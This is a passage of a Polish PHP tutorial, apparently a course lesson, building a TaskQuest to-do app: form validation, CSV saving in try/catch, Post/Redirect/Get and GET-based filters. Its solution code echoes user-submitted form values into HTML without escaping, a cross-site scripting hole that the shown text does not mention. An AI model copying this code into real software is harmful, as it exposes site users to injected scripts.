<p class="wp-block-paragraph">W prezentacji, nad formularzem: gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> nie jest puste — ramka <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;div class="blad"&gt;</code> z tekstem „Popraw formularz:” i listą <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;ul&gt;</code> komunikatów.</p>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (na czas sprawdzania dopisz do znacznika <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form</code> atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>, żeby przeglądarka nie blokowała wysłania — <strong>potem go usuń</strong>): pusty formularz → trzy komunikaty; tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka</code>, termin pusty, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code> → dwa komunikaty, a w polu tytułu nadal jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka</code>.</p>



<h3 class="wp-block-heading">3c — zapis do pliku</h3>



<p class="wp-block-paragraph">Gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> jest puste, zadanie trzeba dopisać do pliku. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> nadpisuje <strong>cały plik</strong> (tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>), więc nie da się „dopisać jednej linii” — trzeba:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()  →  $zadania&#91;] = nowe zadanie  →  zapiszZadania()</code></pre>



<p class="wp-block-paragraph">Obie funkcje plikowe mogą rzucić wyjątek, więc cała ta trójka idzie do <strong>jednego</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> zapamiętujemy komunikat w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code>. Nowe zadanie musi mieć <strong>dokładnie tę samą strukturę kluczy</strong> co pozostałe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — nowe zadanie nie jest wykonane), <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> (jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>!).</p>



<p class="wp-block-paragraph">Po udanym zapisie (na razie) ustaw zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane = true;</code> i wyświetl nad formularzem <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="sukces"&gt;Zadanie zostało dodane.&lt;/p&gt;</code>. Gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu !== null</code>, wyświetl <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="blad"&gt;Nie udało się dodać zadania: ...&lt;/p&gt;</code>.</p>



<p class="wp-block-paragraph">Zastanów się, zanim napiszesz kod: co by się stało, gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> była <strong>poza</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, a przy awarii odczytu kod przyjąłby <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = []</code> i mimo to wywołał <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>? Pomyśl o pliku, w którym jeden wiersz jest uszkodzony.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Wszystko, co ma się wykonać <strong>tylko po udanym odczycie</strong>, musi stać w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> <strong>pod</strong> wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>. Jeśli odczyt rzuci wyjątek, PHP przeskoczy do <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> i zapis się w ogóle nie wykona. Pamiętaj o <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> przy XP — z formularza przychodzi tekst, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code> i porównania w aplikacji oczekują liczby.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    // ... termin i xp ...

    $bledy = walidujNoweZadanie(/* ... */);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = &#91;
                'id' =&gt; /* ... */,
                // ... pozostałe klucze ...
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);
            // ... zadanie dodane ...
        } catch (Exception $wyjatek) {
            // ... komunikat do $bladZapisu ...
        }
    }
}</code></pre>



<p class="wp-block-paragraph">Formularz (fragment):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;!-- termin, xp, przycisk --&gt;
        &lt;/form&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h4 class="wp-block-heading">(wersja przejściowa — w Kroku 4 zmienimy jedną rzecz)</h4>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = &#91;];
$bladZapisu = null;
$zadanieDodane = false;   // tylko w wersji przejściowej


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    $terminZadania = trim($_POST&#91;'termin'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = &#91;
                'id' =&gt; nastepneIdZadania($zadania),
                'tytul' =&gt; $tytulZadania,
                'opis' =&gt; $opisZadania,
                'termin' =&gt; $terminZadania,
                'wykonane' =&gt; false,
                'xp' =&gt; (int) $xpZadania
            ];

            zapiszZadania(PLIK_ZADAN, $zadania);
            $zadanieDodane = true;   // tylko w wersji przejściowej
        } catch (Exception $wyjatek) {
            $bladZapisu = $wyjatek-&gt;getMessage();
        }
    }
}


// --- prezentacja ---
$nazwaStrony = 'Dodaj zadanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Nowe zadanie&lt;/h2&gt;
        &lt;p&gt;&lt;a href="index.php"&gt;← Wróć do listy zadań&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($zadanieDodane) { ?&gt;
        &lt;p class="sukces"&gt;Zadanie zostało dodane.&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZapisu !== null) { ?&gt;
        &lt;p class="blad"&gt;Nie udało się dodać zadania: &lt;?= $bladZapisu; ?&gt;&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="dodaj-zadanie.php"&gt;
            &lt;label for="tytul"&gt;Tytuł *&lt;/label&gt;
            &lt;input type="text" id="tytul" name="tytul" maxlength="100" required value="&lt;?= $tytulZadania; ?&gt;"&gt;

            &lt;label for="opis"&gt;Opis&lt;/label&gt;
            &lt;textarea id="opis" name="opis" rows="3" maxlength="300"&gt;&lt;?= $opisZadania; ?&gt;&lt;/textarea&gt;

            &lt;label for="termin"&gt;Termin *&lt;/label&gt;
            &lt;input type="date" id="termin" name="termin" required value="&lt;?= $terminZadania; ?&gt;"&gt;

            &lt;label for="xp"&gt;Nagroda XP (1–100) *&lt;/label&gt;
            &lt;input type="number" id="xp" name="xp" min="1" max="100" required value="&lt;?= $xpZadania; ?&gt;"&gt;

            &lt;button type="submit"&gt;Dodaj zadanie&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';</code></pre>
</details>



<p class="wp-block-paragraph">Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code> pojawi się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code> w Kroku 4 — do tego czasu komunikat będzie po prostu zwykłym akapitem.</p>



<p class="wp-block-paragraph">Odpowiedź na pytanie: przy uszkodzonym wierszu <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> rzuca wyjątek. Gdyby kod mimo to zapisał listę złożoną tylko z nowego zadania, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> (tryb <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code>!) <strong>skasowałaby wszystkie dotychczasowe zadania</strong> — zamiast jednego uszkodzonego wiersza Kama straciłaby cały plik. Dlatego: <strong>nie udało się wczytać → nie zapisujemy niczego.</strong></p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> dodaj zadanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Powtórka z formularzy</code>, termin za tydzień, <code class="prettyprint lang-sql" style="font-size: 0.85em;">30</code> XP. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> w edytorze — na końcu jest nowy wiersz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 6 i <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zadanie jest na liście, liczniki pokazują 6 zadań.</p>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: odświeżenie nie może dodać zadania drugi raz</h2>



<p class="wp-block-paragraph">Wróć na <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, dodaj jeszcze jedno zadanie, a gdy zobaczysz „Zadanie zostało dodane.”, naciśnij <strong>F5</strong> i potwierdź ponowne wysłanie. Otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>: to samo zadanie jest <strong>dwa razy</strong>, z różnymi <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>. Przeglądarka po prostu powtórzyła ostatnie żądanie — a ostatnie żądanie to był POST z danymi.</p>



<p class="wp-block-paragraph">Rozwiązanie to wzorzec <strong>POST → przekierowanie → GET</strong> (ang. <em>Post/Redirect/Get</em>, w skrócie PRG):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">1. przeglądarka: POST dodaj-zadanie.php (dane)
2. PHP: zapisuje zadanie i odpowiada "idź pod adres index.php?dodano=1" (przekierowanie)
3. przeglądarka: GET index.php?dodano=1   ← to jest teraz "ostatnie żądanie"
4. F5 powtarza tylko krok 3 — czyli zwykłe wyświetlenie strony</code></pre>



<p class="wp-block-paragraph">Przekierowanie robi się tak:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php?dodano=1');
exit;</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code> wysyła przeglądarce <strong>nagłówek</strong> odpowiedzi — informację „techniczną”, która idzie przed treścią strony. Nagłówek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Location</code> mówi: „tu nic nie ma, idź pod ten adres”.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> natychmiast kończy skrypt. Bez niego PHP wykonałby resztę pliku (wygenerowałby cały formularz), którego i tak nikt nie zobaczy.</li>



<li>Nagłówki muszą być wysłane <strong>przed</strong> jakąkolwiek treścią strony. U nas logika stoi nad <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once header.php</code>, więc to jest spełnione. Gdyby wcześniej coś zostało wypisane, PHP może zgłosić <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: Cannot modify header information - headers already sent</code> i przekierowanie nie zadziała. (W XAMPP-ie włączone jest buforowanie wyjścia, więc przy małej ilości tekstu ostrzeżenie może się nie pojawić — ale nie polegaj na tym.)</li>
</ul>



<p class="wp-block-paragraph">Skąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> ma wiedzieć, że ma pokazać komunikat? Z adresu — dokładnie tak, jak w 3.2 PHP dostał <code class="prettyprint lang-sql" style="font-size: 0.85em;">?imie=Kama</code>. Parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodano=1</code> odczytamy przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>.</p>



<p class="wp-block-paragraph"><strong>Zadanie</strong> — zmień cztery pliki:</p>



<ol class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></strong>: w miejscu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane = true;</code>(to usuń) wstaw przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>. Usuń z tego pliku wszystko, co dotyczyło <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane</code> (wartość początkową i akapit „Zadanie zostało dodane.”) — komunikat przenosi się na stronę główną.</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></strong>:
<ul class="wp-block-list">
<li>w bloku wywołań funkcji, po obliczeniu streaka, dodaj nowy blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---</code> i w nim zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> tylko wtedy, gdy w adresie jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodano=1</code>,</li>



<li>pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Twoje zadania&lt;/h2&gt;</code> dodaj link <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code> oraz — gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieDodane</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p class="sukces"&gt;Zadanie zostało dodane.&lt;/p&gt;</code>. Oba elementy mają być <strong>przed</strong> konstrukcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($bladZadan !== null)</code>, żeby link działał także wtedy, gdy wczytanie zadań się nie udało.</li>
</ul>
</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code></strong>: dodaj regułę <code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces</code> (zielona odmiana <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code>) i trzy proste reguły dla formularza (etykieta w osobnej linii, pola na całą szerokość, odstęp przycisku).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.3</code>.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET['dodano']</code> przy zwykłym wejściu na stronę nie istnieje — użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> z pustym tekstem, a wynik porównaj przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z tekstem <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code> (pamiętasz? z adresu przychodzą teksty). Wynik porównania to od razu <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>.</p>
</details>



<h3 class="wp-block-heading">ROZWIĄZANIE</h3>



<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — fragment w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            zapiszZadania(PLIK_ZADAN, $zadania);

            header('Location: index.php?dodano=1');
            exit;</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — nowy blok po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$streak = aktualizujStreak(...);</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---
$zadanieDodane = ($_GET&#91;'dodano'] ?? '') === '1';</code></pre>



<p class="wp-block-paragraph"><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — prezentacja:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;h2&gt;Twoje zadania&lt;/h2&gt;

        &lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;

        &lt;?php if ($zadanieDodane) { ?&gt;
        &lt;p class="sukces"&gt;Zadanie zostało dodane.&lt;/p&gt;
        &lt;?php } ?&gt;

        &lt;?php if ($bladZadan !== null) { ?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>d)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code>, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">.blad</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">.sukces { border: 1px solid #080; background: #eaf7ea; color: #060; border-radius: 8px; padding: 8px 16px; }
form label { display: block; margin-top: 12px; }
form input, form textarea { width: 100%; padding: 6px; box-sizing: border-box; }
form button { margin-top: 16px; padding: 8px 16px; }</code></pre>



<p class="wp-block-paragraph"><strong>e)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;TaskQuest 1.3&lt;/p&gt;</code>.</p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> dodaj zadanie. Przeglądarka sama przechodzi na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code>, widać zieloną ramkę i nowe zadanie. Naciśnij F5 — <strong>brak</strong> pytania o ponowne wysłanie, w pliku nie przybyło zadań. W F12 → Sieć zobaczysz dwa żądania: <code class="prettyprint lang-sql" style="font-size: 0.85em;">POST dodaj-zadanie.php</code> ze statusem <strong>302</strong> (przekierowanie) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">GET index.php?dodano=1</code> ze statusem <strong>200</strong>.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uczciwie o ograniczeniu:</strong> ramka „Zadanie zostało dodane.” pojawia się po każdym odświeżeniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code>, a nawet po ręcznym wpisaniu takiego adresu — mimo że nic nie dodano. Adres nie jest dobrym miejscem na jednorazowe komunikaty. Porządnie rozwiążemy to w Lekcji 14 (sesje).</p>
</blockquote>



<h1 class="wp-block-heading">6. Kolejne zadanie — widoki listy przez GET</h1>



<p class="wp-block-paragraph">Formularz dodawania <strong>zmienia dane</strong>, więc używa POST. Teraz coś, co <strong>tylko wybiera, co pokazać</strong> — czyli zadanie dla GET.</p>



<p class="wp-block-paragraph"><strong>SAMODZIELNIE — plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong> Nad listą zadań dodaj trzy linki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, prowadzące do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wszystkie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=aktywne</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wykonane</code>. Lista ma pokazywać odpowiednio wszystkie zadania, tylko niewykonane albo tylko wykonane — <strong>zawsze posortowane wg terminu</strong>. Pod linkami wypisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: &lt;nazwa widoku&gt;</code>.</p>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li>W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---</code> odczytaj parametr <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> do zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code>. Brak parametru = <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>.</li>



<li><strong>Każda inna wartość</strong> niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code> czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=abc</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=AKTYWNE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=</code>) ma dawać widok <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>. Parametr z adresu to dane od użytkownika — nie ufamy mu.</li>



<li>Do wyboru listy użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> (znasz go z <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>) i zapisz wynik w nowej zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaDoWyswietlenia</code>. Brakuje posortowanej listy wykonanych — dodaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wykonaneWgTerminu</code> obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">$aktywneWgTerminu</code>.</li>



<li>Pętla <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> wyświetlająca listę ma przechodzić po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaDoWyswietlenia</code> zamiast po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadaniaWgTerminu</code>.</li>



<li>Gdy w pliku są zadania, ale wybrany widok jest pusty (np. żadne nie jest wykonane) — wypisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Brak zadań w tym widoku.</code></li>



<li><strong>Bez zmian</strong> zostają: liczniki, XP do zdobycia, komunikat o awansie i „najpilniejsze zadanie” — one zawsze dotyczą całej listy, niezależnie od widoku.</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Najpierw „zawęź” <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> do trzech dozwolonych wartości (jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;&amp;</code> — bardzo podobny do sprawdzenia pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>), a dopiero potem użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code>. Dzięki temu <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> zawsze trafi na któryś ze swoich przypadków.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---
$filtr = $_GET&#91;'filtr'] ?? 'wszystkie';

if (/* ani aktywne, ani wykonane */) {
    $filtr = 'wszystkie';
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; /* ... */,
    'aktywne' =&gt; /* ... */,
    'wykonane' =&gt; /* ... */
};

$zadanieDodane = ($_GET&#91;'dodano'] ?? '') === '1';</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — lista zadań, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$aktywneWgTerminu = ...</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wykonaneWgTerminu = sortujPoTerminie($wykonaneZadania);</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — cały blok parametrów GET:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- parametry z adresu strony (GET) ---
$filtr = $_GET&#91;'filtr'] ?? 'wszystkie';

if ($filtr !== 'aktywne' &amp;&amp; $filtr !== 'wykonane') {
    $filtr = 'wszystkie';
}

$zadaniaDoWyswietlenia = match ($filtr) {
    'wszystkie' =&gt; $zadaniaWgTerminu,
    'aktywne' =&gt; $aktywneWgTerminu,
    'wykonane' =&gt; $wykonaneWgTerminu
};

$zadanieDodane = ($_GET&#91;'dodano'] ?? '') === '1';</code></pre>



<p class="wp-block-paragraph"><strong>c)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — w prezentacji zamień początek listy (dotąd: <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach ($zadaniaWgTerminu as $zadanie) {</code>) na:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        echo "&lt;h3&gt;Lista zadań (wg terminu)&lt;/h3&gt;";
        echo "&lt;p&gt;Pokaż: &lt;a href=\"index.php?filtr=wszystkie\"&gt;wszystkie&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=aktywne\"&gt;aktywne&lt;/a&gt; | "
            . "&lt;a href=\"index.php?filtr=wykonane\"&gt;wykonane&lt;/a&gt;&lt;/p&gt;";
        echo "&lt;p&gt;Widok: &lt;strong&gt;$filtr&lt;/strong&gt;&lt;/p&gt;";

        if ($liczbaWszystkich &gt; 0 &amp;&amp; count($zadaniaDoWyswietlenia) === 0) {
            echo "&lt;p&gt;Brak zadań w tym widoku.&lt;/p&gt;";
        }

        foreach ($zadaniaDoWyswietlenia as $zadanie) {</code></pre>



<p class="wp-block-paragraph">Reszta pętli bez zmian.</p>



